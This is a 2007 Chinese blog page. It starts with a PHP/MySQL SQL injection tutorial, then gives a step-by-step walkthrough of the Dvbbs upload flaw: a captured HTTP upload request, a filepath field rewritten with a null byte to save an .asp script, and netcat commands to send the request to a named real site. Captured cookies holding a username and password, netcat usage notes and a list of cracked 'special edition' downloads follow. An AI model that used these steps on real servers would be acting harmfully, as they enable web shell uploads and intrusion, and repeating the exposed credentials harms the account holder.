如果你打算永远不使用某些数据的话，那么把它们存储于一个数据库是毫无意义的；因为数据库的设计目的是为了方便地存取和操作数据库中的数据。但是，如果只是简单地这样做则有可能会导致潜在的灾难。这种情况并不主要是因为你自己可能偶然删除数据库中的一切；而是因为，当你试图完成某项“无辜”的任务时，你有可能被某些人所"劫持"-使用他自己的破坏性数据来取代你自己的数据。我们称这种取代为“注入”。
其实，每当你要求用户输入构造一个数据库查询，你是在允许该用户参与构建一个存取数据库服务器的命令。一位友好的用户可能对实现这样的操作感觉很满意；然而，一位恶意的用户将会试图发现一种方法来扭曲该命令，从而导致该被的扭曲命令删除数据，甚至做出更为危险的事情。作为一个程序员，你的任务是寻找一种方法来避免这样的恶意攻击。
三、SQL注入工作原理
构造一个数据库查询是一个非常直接的过程。典型地，它会遵循如下思路来实现。仅为说明问题，我们将假定你有一个葡萄酒数据库表格“wines”，其中有一个字段为“variety”(即葡萄酒类型)：
1.提供一个表单-允许用户提交某些要搜索的内容。让我们假定用户选择搜索类型为“lagrein”的葡萄酒。
2.检索该用户的搜索术语，并且保存它-通过把它赋给一个如下所示的变量来实现：
$variety = $_POST[''variety''];
因此，变量$variety的值现在为：
lagrein
3.然后，使用该变量在Where子句中构造一个数据库查询：
$query = "Select * FROM wines Where variety=''$variety''";
所以，变量$query的值现在如下所示：
Select * FROM wines Where variety=''lagrein''
4.把该查询提交给MySQL服务器。
5.MySQL返回wines表格中的所有记录-其中，字段variety的值为“lagrein”。
到目前为止，这应该是一个你所熟悉的而且是非常轻松的过程。遗憾的是，有时我们所熟悉并感到舒适的过程却容易导致我们产生自满情绪。现在，让我们再重新分析一下刚才构建的查询。
1.你创建的这个查询的固定部分以一个单引号结束，你将使用它来描述变量值的开始：
$query = " Select * FROM wines Where variety = ''";
2.使用原有的固定不变的部分与包含用户提交的变量的值：
$query .= $variety;
3.然后，你使用另一个单引号来连接此结果-描述该变量值的结束：
$ query .= "''";
于是，$query的值如下所示：
Select * FROM wines Where variety = ''lagrein''
这个构造的成功依赖用户的输入。在本文示例中，你正在使用单个单词(也可能是一组单词)来指明一种葡萄酒类型。因此，该查询的构建是无任何问题的，并且结果也会是你所期望的-一个葡萄酒类型为"lagrein"的葡萄酒列表。现在，让我们想象，既然你的用户不是输入一个简单的类型为"lagrein"的葡萄酒类型，而是输入了下列内容(注意包括其中的两个标点符号)：
lagrein'' or 1=1;
现在，你继续使用前面固定的部分来构造你的查询(在此，我们仅显示$query变量的结果值)：
Select * FROM wines Where variety = ''
然后，你使用包含用户输入内容的变量的值与之进行连接(在此，以粗体显示)：
Select * FROM wines Where variety = ''lagrein'' or 1=1;
最后，添加上下面的下引号：
Select * FROM wines Where variety = ''lagrein'' or 1=1;''
于是，这个查询结果与你的期望会相当不同。事实上，现在你的查询包含的不是一条而是两条指令，因为用户输入的最后的分号已经结束了第一条指令(进行记录选择)从而开始了一条新的指令。在本例中，第二条指令，除了一个简单的单引号之外别无意义;但是，第一条指令也不是你所想实现的。当用户把一个单引号放到他的输入内容的中间时，他结束了期望的变量的值，并且引入了另一个条件。因此，不再是检索那些variety为"lagrein"的记录，而是在检索那些满足两个标准中任何一个(第一个是你的，而第二个是他的-variety为"lagrein"或1等于1)的记录。既然1总是1，因此，你会检索到所有的记录!
你可能反对：我不会使用双引号来代替单引号来描述用户提交的变量吗?不错，这至少可以减慢恶意用户的攻击。(在以前的文章中，我们提醒过你：应该禁止所有对用户的错误通知信息。如果在此生成一条错误消息，那么，它有可能恰恰帮助了攻击者-提供一个关于他的攻击为什么失败的具体的解释。)
在实践中，使你的用户能够看到所有的记录而不只是其中的一部分乍看起来似乎不太费事，但实际上，这的确费事不少;看到所有的记录能够很容易地向他提供有关于该表格的内部结构，从而也就向他提供了使其以后实现更为恶毒目的的一个重要参考。如果你的数据库中不是包含显然无害的酒之类信息而是包含例如一个含有雇员年收入的列表，那么，刚才描述情形会是特别真实的。
而从理论角度分析，这种攻击也的确是一件很可怕的事情。由于把意外的内容注入到你的查询中，所以，此用户能够实现把你的数据库存取转化为用于实现他自己的目的。因此现在，你的数据库已经对他打开-正如对你敞开一样。
四、PHP和MySQL注入
如我们前面所描述的，PHP，从本身设计来说，并没有做什么特别的事情-除了按照你的指示操作之外。因此，如果为恶意用户所用，它也只是按照要求"允许"特别设计的攻击-例如我们前面所描述的那样。
我们将假定，你不会故意地或甚至是偶然地构造一个具有破坏性效果的数据库查询-于是，我们假定问题出在来自你的用户的输入方面。现在，让我们来更为细致地分析一下用户可能向你的脚本提供信息的各种途径。
五、用户输入的类型
如今，用户能够影响你的脚本的行为已变得越来越复杂。
用户输入最明显的来源当然是表单上的一个文本输入域。使用这样的一个域，你简直是在故意教唆一个用户输入任意数据。而且，你向用户提供了一个很大的输入范围;没有什么办法能够使你提前限制一个用户能够输入的数据类型(尽管你能够选择限制它的长度)。这正是绝大多数的注入式攻击源主要来自于无防备的表单域的原因。
但是，还存在其它的攻击源，并且稍加思考你就会想到的一种潜于表单后台的技术-POST方法!通过简单地分析显示在浏览器的导航工具栏中的URI，一个善于观察的用户能够很容易地看出是什么信息传递到了一个脚本。尽管典型情况下这样的URI是以编程方式生成的，但是，没有什么办法能够阻止一个恶意的用户简单地把一个带有一个不适当的变量值的URI输入到一个浏览器中-而这样潜在地打开一个可能会被其滥用的数据库。
限制用户输入内容的一个常用策略是在一个表单中提供一个选择框，而不是一个输入框。这种控件能够强制用户从一组预定义的值中进行选择，并且能够在一定程度上阻止用户输入期望不到的内容。但是正如一个攻击者可能“哄骗”一个URI(也即是，创建一个能够模仿一个可信任的却无效的URI)一样，他也可能模仿创建你的表单及其自己的版本，并因此在选项框中使用非法的而不是预定义的安全选择。要实现这点是极其简单的;他仅需要观察源码，然后剪切并且粘贴该表单的源代码-然后一切为他敞开大门。
在修改该选择之后，他就能够提交表单，并且他的无效的指令就会被接受，就象它们是原始的指令一样。因此，该用户可以使用许多不同的方法试图把恶意的代码注入到一个脚本中。
PHP和ASP上传漏洞探究
1 传漏洞利用的原理只是针对form格式上传的asp和php脚本***
nc(netcat)
用于提交数据包
dos界面下运行:
nc -vv www.***.com 80<1.txt
-vv: 回显
80: www端口
1.txt: 就是你要发送的数据包 (更多使用方法请查看本区的帖子)
wse(wsockexpert) 对本机端口的监视,抓取ie提交的数据包
2 漏洞原理
下面例子假设的前提
www主机: www.***.com;
bbs路径 : /bbs/
漏洞源于对动网上传文件的研究,建议有一定编程经验的看看dvbbs的upfile.asp文件,没有必要全部看懂。upfile是通过生成一个form表上传,如下
<form name="form" method="post" action="upfile.asp" ...>
<input type="hidden" name="filepath" value="uploadface">
<input type="hidden" name="act" value="upload">
<input type="file" name="file1">
<input type="hidden" name="fname">
<input type="submit" name="submit" value="上传" ...></form>
用到的变量:：
filepath 默认值uploadface 属性hiden
act 默认值upload 属性hiden
file1 就是你要传的那个文件
关键是 filepath 这个变量!
默认情况下我们的文件上传到www.***.com/bbs/uploadface/
文件是用你的上传时间命名的,就是upfile里的这一句
filename=formpath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&rannum&"."&fileext
--------------------------------------
我们知道计算机里面的数据是一""为标致的用过c语言的都知道：char data[]="bbs" 这个data数组长度是4: b b s
如果我们构造filepath如下,会怎么样呢?
filepath="/newmm.asp"
我们在2004.09.24.08.24传的文件就会发生变化没有改时:： _blank>http://www.***.com/bbs/uploadface/200409240824.jpg 用我们构造的filepath时：_blank>http://www.***.com/newmm.asp/200409240824.jpg
这样当服务器接收filepath数据时,检测到newmm.asp后面的就理解为filepath的数据就结束了。这样我们上传的文件,比如c:.asp 就保存成: _blank>http://www.***.com/newmm.asp
3 后期补充
漏洞公布以后很多网站做了相应的处理,但是对于filepath的过滤和处理都不行。有很多网站只是加了n个hiden属性的变量对付网上公布的 upfile.exe就是那个上传漏洞利用工具或者filepath变量利用工具(老兵的)...但是最基本的没改啊。而且很对网站的插件里有类似的漏洞,我要说的不要依赖哪些专门的工具。自己改wse抓到的包里的filepath变量,然后在用nc提交。就算他加n个hiden变量也于事无补。当然, 如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结就是我们的新理论诞生的时候!
4 详细实例
一、wse抓包结果(存到1.txt里)：
post /bbs/upphoto/upfile.asp http/1.1
accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*
referer: _blank>http://www.xin126.com/bbs/upphoto/upload.asp
accept-language: zh-cn
content-type: multipart/form-data;
boundary=-----------7d423a138d0278
accept-encoding: gzip, deflate
user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.1; .net clr 1.1.4322)
host: _blank>www.xin126.com
content-length: 1969
connection: keep-alive
cache-control: no-cache
cookie: aspsessionidaccccdcs=njhcphpalbcankobechkjanf;
iscome=1; gamvancookies=1; regtime=2004%2d9%2d24+3%3a39%3a37;
username=szjwwwww; pass=5211314; dl=0; userid=62;
ltstyle=0; logintry=1; userpass=eb03f6c72908fd84
-----------------------------7d423a138d0278
content-disposition: form-data; name="filepath"
../medias/myphoto/
-----------------------------7d423a138d0278
... ...
上传
---------------7d423a138d0278-----------------
二、ultraedit打开1.txt改数据：
......
-----------------------------7d423a138d0278
content-disposition: form-data; name="filepath"
/newmm.asp <===这个黑色代表一个空格是 0x20,改成0x00就可以了
......
三、重新计算cookies长度,然后nc提交
nc -vv _blank>www.xin126.com 80 <1.txt
ultraedit是一个16位编辑器网上可以下载得到
我们主要用来写那个结束标致: ====>16位表示:0x00或者00h
其实你改的时候就直接再filepath的结尾处加个00就ok了
计算cookies长度===>你把fillepath改了之后、肯定是或＋或—cookies的长度变了
----------------------------
......
host: _blank>www.xin126.com
content-length: 1969 <======就是这个
connection: keep-alive
cache-control: no-cache
......
计算会吧?一个字母、数字就是1
对于上传漏洞提出的解决思路：(仅供参考)
1、一般的上传是把上传路径作为一个变量来处理
===>我们的对策就是把filepath变成常量。。。
这个方法是目前最有效的(我认为的)
2、加强对于的处理,原来我们是读到这里就结束
我们继续读直道下一个变量开始的地方，处理就ok了
附：NC Usage:
监听外部主机
nc [-options] hostname port[s] [ports] ...
监听本地主机
nc -l -p port [options] [hostname] [port]
options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-g num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-l listen harder, re-listen on socket close
-n numeric-only ip addresses, no dns
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer telnet negotiation
-u udp mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-i/o mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]

Tag：PHP 上传漏洞 SQL注入攻击

chapi 发表于23时26分49秒 | 阅读全文 | 评论 0 | 编辑 | 分享
2007年01月29日

[01-30]免费绿色精品软件下载更新

特别提醒：
1、有的软件下载站点可能采用防盗链设计，请各位在下载前使用FlashGet(网络快车)或Thunder(迅雷)下载，以确保下载顺利！
2、所有软件是从各网站搜集整理，为了您的电脑安全，请务必在下载后第一时间用杀毒软件和木马查杀工具扫描一下！
3、本人所发布内容，纯属交流，不承担任何技术及版权问题！
　文中所有链接收集于网络，只作为学习研究之用,请于下载24小时后删除，否则一切后果自负，本人不承担任何责任！
根据最新颁布的《信息网络传播权保护条例》本站自身不存储、控制、编辑或修改被链接的第三方网页的信息。本人高度重视知识产权保护，当权利人发现在本博客链接所指向的第三方网页的内容侵犯其著作权时，请权利人向站长发出“权利通知”，本站将依法采取措施移除相关内容或屏蔽相关链接。

今日软件更新列表：

01.[系统增强] 超级兔子魔法设置 V7.96 Final_绿色官方版

02.[图像处理] JPEG Resizer V2.1_绿色汉化特别版

03.[音频处理] River Past Talkative V5.22_绿色英文特别版

04.[图像处理] Box Shot 3D V2.2.1_绿色汉化特别版

05.[桌面辅助] RocketDock V1.3.0 Final_多国语言绿色特别版

06.[病毒防治] 江民 KV 2007 中文绿色免安装正式版+基础离线升级包01.28

07.[系统设置] vLite V0.9 Beta_绿色英文版

08.[加密工具] BmpEncrypt V6.2007.0129_绿色简体中文免费版

09.[卸载清除] 超级兔子清理王 V7.96 官方免安装绿色版

10.[网络安全] 超级兔子上网精灵 V7.96_绿色简体中文特别版

11.[主页浏览] 唯优浏览器 V2.0.3.5_绿色简体中文版

12.[升级补丁] K-Lite Codec Pack Update 01/28/07_英文特别版

13.[系统设置] Windows优化大师 V7.69 Build 7.0126 绿色特别版

14.[媒体播放] X Codec Pack V2.1.3 build 413_英文免费版

15.[病毒防治] 卡巴斯基 Kaspersky V6.0.2.609 Beta_汉化测试版_官方版本不带Key

16.[浏览辅助] Ad Muncher V4.7.27105/1463_绿色汉化版

17.[图像捕捉] 中华神捕 V2.50_绿色简体中文版

18.[病毒防治] 木马克星 iparmor V5.51 Build 0629 完美去广告绿色版+最新病毒库01.28

19.[卸载清除] Windows清理助手 V1.6.9.7.0128(411)_绿色简体中文版

20.[磁盘工具] Handy Recovery V3.0_绿色汉化版

1、超级兔子魔法设置 V7.96 Final_绿色官方版

软件大小：10 MB
软件语言：简体中文
软件类别：绿色软件/免费软件
运行环境：Win9x/2000/XP

软件简介：

超级兔子是一个完整的系统维护工具，可能清理你大多数的文件、注册表里面的垃圾，同时还有强力的软件卸载功能，专业的卸载可以清理一个软件在电脑内的所有记录。超级兔子共有8大组件，可以优化、设置系统大多数的选项，打造一个属于自己的Windows。超级兔子上网精灵具有IE修复、IE保护、恶意程序检测及清除工能，还能防止其它人浏览网站，阻挡色情网站，以及端口的过滤。超级兔子系统检测可以诊断一台电脑系统的CPU、显卡、硬盘的速度，由此检测电脑的稳定性及速度，还有磁盘修复及键盘检测功能。超级兔子进程管理器具有网络、进程、窗口查看方式，同时超级兔子网站提供大多数进程的详细信息，是国内最大的进程库。超级兔子安全助手可能隐藏磁盘、加密文件，超级兔子系统备份是国内唯一能完整保存Windows XP注册表的软件，彻底解决系统上的问题。

2、JPEG Resizer V2.1_绿色汉化特别版

软件大小：392 KB
软件语言：简体中文
软件类别：绿色软件/免费软件
运行环境：Win9X/WinXP/Win2000/

软件简介：

图片尺寸批量修改软件，可打开多个文件夹，列出所有 JPG 图片文件及其尺寸大小，一次将所有图片修改成同样的尺寸大小

3、River Past Talkative V5.22_绿色英文特别版

软件大小：2.7 MB
软件语言：英文
软件类别：绿色软件/免费软件
运行环境：Win9X/WinXP/Win2000/

软件简介：

一款可以记录普通文本到 WAV、MP3、WMA 等多种声音格式的软件（声音格式的多少视安装的编解码器而决定）。
你只需要在软件主窗口中输入中文、英文，再点击“录制”即可录制成声音文件了，非常简单易用。

4、Box Shot 3D V2.2.1_绿色汉化特别版

软件大小：449 KB
软件语言：简体中文
软件类别：绿色软件/免费软件
运行环境：Win9X/WinXP/Win2000/

软件简介：

Box Shot 3D 是一个简单易用的虚拟包装图的制作工具。它可以实时提供包装的旋转、缩放和光照效果展示；可以指定背景颜色；包含9个预设模板；支持保存为 JPEG 和 PNG

5、RocketDock V1.3.0 Final_多国语言绿色特别版

软件大小：1.46 MB
软件语言：简体中文
软件类别：绿色软件/免费软件
运行环境：Win9X/WinXP/Win2000/

软件简介:

ocketDock 让你在使用 Windows 更加的动感了，它运用着极少的内存以及 CPU 资源，让你就算使用着旧计算机，也不会感到计算机变慢。内建多种面板模式，以及一组的图标，如果觉得面板模式太少或是图标太少，还可以自行选用自己喜欢的图标。而且图标的可不是只能用 ICO 、PNG 图片格式，它一样能够支持，让你的图标看起来更加的漂亮。而且还支持使用拖曳的方式来自订要启动的程序，或是资料夹，让你自己打造一个动感味十足，界面漂亮，占用极少资源的个人专属快捷工具栏。

6、江民 KV 2007 中文绿色免安装正式版+基础离线升级包01.28

软件大小：35.4 MB
软件语言：简体中文
软件类别：绿色软件/免费软件
运行环境：Win9X/WinXP/Win2000/

软件简介：

安装说明:
解压文件到任意盘符下面,我已经用批处理文件智能把要安装的文件安装到指定目录中，不需要手工复制粘贴了
第一次运行只要运行install.bat文件即可，如果第二次的话直接运行KvXP.kxp即可
使用说明：
在安装完以后，桌面会自动生成江民的快捷方式，运行这个快捷方式，会要求提示输入
序列号,把您的序列号输入就可以了。这样江民杀毒软件就能运行了
卸载说明：
卸载也能做到智能化，只需要运行uninstall.bat文件
还有此版本可以开启部分监控，可以辅助查杀病毒用
此版本在多个平台测试无问题，如要升级自己去网络上面寻找绿化工具，暂不提供！没有通行证就没有办法升级，本软件适合不联网络的电脑使用，但病毒库可以去下载来更新...
基础离线升级包11.16升级了25个文件，解决了kvsrvxp.exe占用cpu过高的问题！

江民 KV 2007 中文绿色免安装正式版



江民杀毒软件KV2007基础离线升级包2006-01-28

7、vLite V0.9 Beta_绿色英文版

软件大小：598 KB
软件语言：英文
软件类别：绿色软件/免费软件
运行环境：Win9X/WinXP/Win2000/

软件简介：

Windows Vista发布不久,类似于早期nLite的精简安装光盘软件就出现了,它可以有效地给Vista光盘减肥并创建自己的个性化CD!这款软件需要Framework 2.0以上才可以运行。

8、BmpEncrypt V6.2007.0129_绿色简体中文免费版

软件大小：168 KB
软件语言：简体中文
软件类别：绿色软件/免费软件
运行环境：Win9X/WinXP/Win2000/

软件简介：

BmpEncrypt 几乎是加密软件中最 Cool, 最有特色的软件了, 是以图片为寄主独特的加密器, 使用 BmpEncrypt 加密图片后你会惊奇的发现, 加密后的图片浏览时它还是一张完好无缺的图片, 完全看不出什么密文的痕迹, 利用它你可以将自己的情书或者机密的文件隐藏在一张普通的图片中, 做到神不知鬼不觉的隐藏自己心爱的秘密, BmpEncrypt 还有密码保护功能, 利用不可逆的算法加密, 最大程度的保护你的文件, 防止被绿化, 让你高枕无忧地把秘密藏在图片里了.
另外 BmpEncrypt 还有: 显示图片信息, 浏览缩略图, 检查密文信息, 口令保护, 以文本显示密文, 加密时检验密码, 查看图片原图大小, 写入文本信息到图片, 分离密文, 自动删除密文/寄主, ...... , 等功能.

9、超级兔子清理王 V7.96 官方免安装绿色版

软件大小：1.5 MB
软件语言：简体中文
软件类别：绿色软件/免费软件
运行环境：Win9X/WinXP/Win2000/

软件简介：

超级兔子优化王之专业卸载现在许多软件中捆绑了一些广告程序、恶意插件，不知不觉地装入用户的系统中，不但占用系统资源，而且还会接收网上的广告。更麻烦的是，它们通常都没有提供卸载程序，即使在控制面板中将其删除，仍然会有残余的线程文件向外发送信息，要请它们走可不是件容易的事情。用户通常只能通过手工去删除，这样不但操作起来麻烦，也很容易误删系统文件，难道就没有它们办法了吗？现在，在“专业卸载”选项中你就可以轻松卸载这些程序及IE的插件。此处提供了100种软件的卸载功能，而且还会不断更新。所谓专业卸载，就是从文件到注册表，全部都能完整卸载。打开该选项后，软件会自动对系统进行检测，发现装有的程序就会在“说明”项目中显示，然后勾选这些程序，单击“下一步”就可以把这些程序清理干净
用法：运行“绿化.bat”即可正常使用。运行“卸除.bat”即可卸除绿化时加到系统的东西

10、超级兔子上网精灵 V7.96_绿色简体中文特别版

软件大小：4.39 MB
软件语言：简体中文
软件类别：绿色软件/免费软件
运行环境：Win9X/WinXP/Win2000/

软件简介：

超级兔子上网精灵，最强大的上网安全工具
1 完美拦截各种弹出、漂浮、iCast广告，还你一个干净的网络世界，插件拦截效果媲美XP SP2并支持多操作系统。
2 具备上万种恶意程序、木马病毒检测及清除功能，全面查杀有害代码，清除恶意插件。
3 IE高级修复，还原IE各项设置，让你的IE瞬间恢复原貌。
4 自带IE保护功能，阻止未打补丁的IE系统被恶意代码攻击。
5 专业卸载完美卸载超过125种以上的软件的所有文件及注册表，真正做到彻底卸载。
6 专业的垃圾文件及注册表清理功能，还能清除各种上网及使用软件的痕迹。
7 全自动的系统优化功能，一分钟完成所有优化。
8 无使用时间限制，不捆绑任何软件。

11、唯优浏览器 V2.0.3.5_绿色简体中文版

软件大小：660 KB
软件语言：简体中文
软件类别：绿色软件/免费软件
运行环境：Win9X/WinXP/Win2000/

软件简介：

唯优weal 浏览器是一款个性化多页面的、多功能浏览器。它允许在同一窗口内打开任意多个页面，减少浏览器对系统资源的占用率，提高网页浏览的速度和效率。并集成了IE及FireFox的优秀功能于一体，是一款功能强大和灵活的浏览器。

12、K-Lite Codec Pack Update 01/28/07_英文特别版

软件大小：2.65 MB
软件语言：英文
软件类别：绿色软件/免费软件
运行环境：Win9X/WinXP/Win2000/

软件简介:

K-Lite Codec Pack为您提供绝大多数影音格式的解码器，装了它，您的播放器就可以通吃绝大多数的影音格式。标准版包括了播放当今绝大多数能在网上免费下载到、播放影音文件所需的解码器；完全版则包括对更多不常用文件格式的支持并附带了一个媒体播放器。
Latest Changes:
Updated Media Player Classic (latest build from Celtic_Druid)
Updated ffdshow to revision 471
Updated DivX decoder to version 6.2.5.34
If you have stability issues with the DivX decoder, then disable it via the Codec Tweak Tool and use ffdshow instead
Updated DivX encoder to version 6.4.0.51
Updated AC3Filter to version 1.11
Updated x264 VFW to rev. 578
Updated Haali Media Splitter to version 1.6.338.23
Updated Cyberlink MPEG decoder to version 6.0.0.3402
Updated Cyberlink MPEG demuxer to version 1.0.0.4528
Updated LAME MP3 ACM to version 3.97
Updated LameDropXPd to version 3.97
Updated LAME CLI to version 3.97
Updated OggDropXPd to version 1.8.9 aoTuVb5
Updated DirectVobSub. This should fix a (rare) problem with green lines on some divx files
Updated GSpot to version 2.60 beta 2

13、Windows优化大师 V7.69 Build 7.0126 绿色特别版

软件大小：2.59 MB
软件语言：简体中文
软件类别：绿色软件/免费软件
运行环境：Win9X/WinXP/Win2000/

软件简介：

Windows优化大师 V7.68 Build 6.1222 发布！
更新如下:全面兼容Windows Vista！
Windows优化大师目前同时适用于Windows98/Me/2000/XP/2003/Vista，Windows
优化大师运行时将自动检测用户的操作系统，并根据用户不同的操作系统向用
户提供不同的功能模块、选项以及界面。
1、改进了系统信息检测。
2、改进了磁盘缓存优化。
3、改进了桌面菜单优化。
4、改进了文件系统优化。
5、改进了网络系统优化。
6、改进了开机速度优化。
7、改进了系统安全优化。
8、改进了系统个性设置。
9、改进了后台服务优化。
10、改进了注册表清理。
11、改进了磁盘文件管理。
12、改进了ActiveX清理。
13、改进了磁盘碎片整理。
14、改进了Wopti 进程管理大师。
15、改进了Wopti 内存整理模块。
提示：需要磁盘碎片整理功能的朋友，才有必要运行“绿化”，如不需要就无须运行绿化程序！

14、X Codec Pack V2.1.3 build 413_英文免费版

软件大小：8.32 MB
软件语言：简体中文
软件类别：绿色软件/免费软件
运行环境：Win9x/NT/2000/XP/

软件简介：

一个多媒体的编/译码器软件，当你拥有一些多媒体文件或影片，却无法播放或看不到影片的画面，通常是你缺少了该影片的编/译码器，你必须拥有该影片相对应的编/译码器才可正常播放及观看该影片，当无法播放时可安装此XCodecPack试试看或许你就可以观看影片了。
该XCodecPack内包含有以下的编/译码器:
-DivXCodec5.11
-XviDCodec1.0RC2(Koepi's)
-AC3Filter0.70b
-MatrixMixer0.30b
-DivXAntiFreeze0.4
-DivXG4002.83

15、卡巴斯基 Kaspersky V6.0.2.609 Beta_汉化测试版_官方版本不带Key

软件大小：15.12 MB
软件语言：简体中文
软件类别：绿色软件/免费软件
运行环境：Win9X/WinXP/Win2000/

软件简介：

Kaspersky 为任何形式的个体和社团提供了一个广泛的抗病毒解决方案。它提供了所有类型的抗病毒防护：抗病毒扫描仪，监控器，行为阻段和完全检验。它支持几乎是所有的普通操作系统、e-mail 通路和防火墙。Kaspersky控制所有可能的病毒进入端口，它强大的功能和局部灵活性以及网络管理工具为自动信息搜索、中央安装和病毒防护控制提供最大的便利和最少的时间来建构你的抗病毒分离墙。Kaspersky 抗病毒软件有许多国际研究机构、中立测试实验室和 IT出版机构的证书，确认了 Kaspersky 具有汇集行业最高水准的突出品质。功能强大的实时病毒监测和防护系统，支持所有的 WINDOWS平台，它集成了多个病毒监测引擎，如果其中一个发生遗漏，就会有另一个去监测。可单一扫描硬盘或是一个文件夹或文件，软件更提供密码的保护性，并提供病毒的信息。
安装指南:
在安装本汉化前请务必先按照以下步骤操作:
1.打开程序的主界面,点击右上角的Settings.
2.在弹出的设置对话框中点击左侧树形目录中间的Service,取消选择右侧Self-defense区域下面的Enable Self-Defense前的复选框.
3.点击OK关闭对话框.
4.右键点击系统右下角托盘区域中的程序图标选择Exit.
在安装本汉化后请务必重新"启用自我防护".
使用许可密钥(License Key)激活时请注意不要将文件放在包含中文路径的文件夹中,否则无法应用
重要说明:
从6.0.2.509开始,编辑规则无需再切换语言界面.
从6.0.2.509开始,兼容Vista

16、Ad Muncher V4.7.27105/1463_绿色汉化版

软件大小：340 KB
软件语言：简体中文
软件类别：绿色软件/免费软件
运行环境：Win9x/NT/2000/XP/

软件简介：

实在是最完美的广告过滤类软件！太好用了，一直有向大家推荐的冲动。无奈新版都出了4个版本，至今无人更新汉化，小弟只好亲自操刀。此版本除了一些不太可能出现的英文信息外，基本全部汉化了。并且保证跟官方版本功能完全一致，不存在因汉化出现新的bug。所有说明文字重新翻译，警告提示窗口都按照严格的格式重新调整行距和窗体大小，对话框控件的位置和形状也应需要都作出适当调整。可以说，尽了本人最大能力使其尽善尽美！软件中可以找到本人的QQ，以此可联系本人索取我针对国内部分大流量的站点自定义的过滤规则，至于keygen...，还是尊重开发组成员的劳动成果，熟悉google的网友应该不难找到，谢谢支持

17、中华神捕 V2.50_绿色简体中文版

软件大小：2.78 MB
软件语言：简体中文
软件类别：绿色软件/免费软件
运行环境：Win9X/WinXP/Win2000/

软件简介：

超级屏幕抓图工具、超级作图工具、超级图片浏览工具、超强Office插件
1、可以轻松抓取整个桌面、选定对象、菜单、选定矩形区域、选定多边形区域、选定圆形区域、选定椭圆区域。
2、支持任意视图自动滚屏。
3、支持BMP/JPG/GIF等各种格式图像文件的读写。
4、提供多种图像处理方案，如改变亮度、对比度、黑白处理、旋转、镜相。
5、支持多种作图方式，可自定义任意渐变图形作图方案、50余种图案填充作图方案、任意改变线型、线宽。
6、超级Office插件功能。
7、超级图片浏览功能。

18、木马克星 iparmor V5.51 Build 0629 完美去广告绿色版+最新病毒库01.28

软件大小：2.62 MB
软件语言：简体中文
软件类别：绿色软件/免费软件
运行环境：Win9x/NT/2000/XP/

软件简介：

木马克星乃本站原创反黑客－杀木马工具，可以查杀8122种国际木马，1053种密码偷窃木马，保证查杀传奇密码偷窃木马，oicq类寄生木马，冰河类文件关联木马，密码解霸，奇迹射手等游戏密码邮寄木马，内置木马防火墙，任何黑客程序试图发送密码邮件，都需要Iparmor 确认，不仅可以查杀木马，更可以反查黑客密码。加强了对流氓软件查杀。
木马克星病毒库下载完毕，解压缩后，将该文件复制粘贴到木马克星安装目录下，覆盖原文件即可更新成功

木马克星 iparmor V5.51 Build 0629 完美去广告绿色版



病毒库01.28

19、Windows清理助手 V1.6.9.7.0128(411)_绿色简体中文版

软件大小：243 KB
软件语言：简体中文
软件类别：绿色软件/免费软件
运行环境：Win9x/NT/2000/XP/

软件简介：

一款可以自定义规则的查杀程序，现在网上的恶意程序和广告软件越来越多,推荐一款纯绿色的清理软件工具《Windows清理大师》.工具可以根据用户的需求建立白名单与黑名单,完全可自定义是否清理.另外,软件为开放接口,用户可自定义脚本文件,通过脚本文件的定义进行完全清理.
我们建议在清理前备份注册表,以防系统出问题时恢复.软件对于认证的脚本和网友提交的脚本进行了区分.认证的脚本经过了严格的测试,未认证的脚本由用户自由选择是否采用.本软件为免费软件,使用本软件造成的任何结果,软件作者不负法律责任.
《Windows清理大师》四大优势:
1、独有的清理技术,清理能力更强劲
2、开放的用户接口,扩展更方便
3、智能的扫描技术,清理垃圾更彻底
4、引擎与脚本分离,清理更中立
Windows清理助手更新到1.5.2.6.1121 (305)
1、独有的清理技术，可以彻底清理有驱动保护的恶意软件；
2、引擎和脚本分离，清理操作对用户完全透明；
3、自定义查杀规则，控制权完全由用户掌握；
4、开放的用户接口，可以满足您的个性化清理需求,用户自定义脚本文件,实现对一些特殊软件的清理，并可将其共享给所有用户使用！
5、即时更新脚本库，使您拥有更强劲的清理能力！

20、Handy Recovery V3.0_绿色汉化版

软件大小：578 KB
软件语言：简体中文
软件类别：绿色软件/免费软件
运行环境：Win9x/NT/2000/XP/

软件简介：

一款功能强大、易于使用的数据恢复工具。支持FAT12/16/32, NTFS and NTFS 5 + EFS 文件系统，并且能够恢复NTFS分区上的压缩和加密文件。

Tag：免费绿色精品软件下载更新

chapi 发表于23时22分27秒 | 阅读全文 | 评论 0 | 编辑 | 分享

共57页第一页上一页 5 6 7 8 9 10 11 12 13 14 下一页最后一页

Lessons by English, baby!

随时随地看wap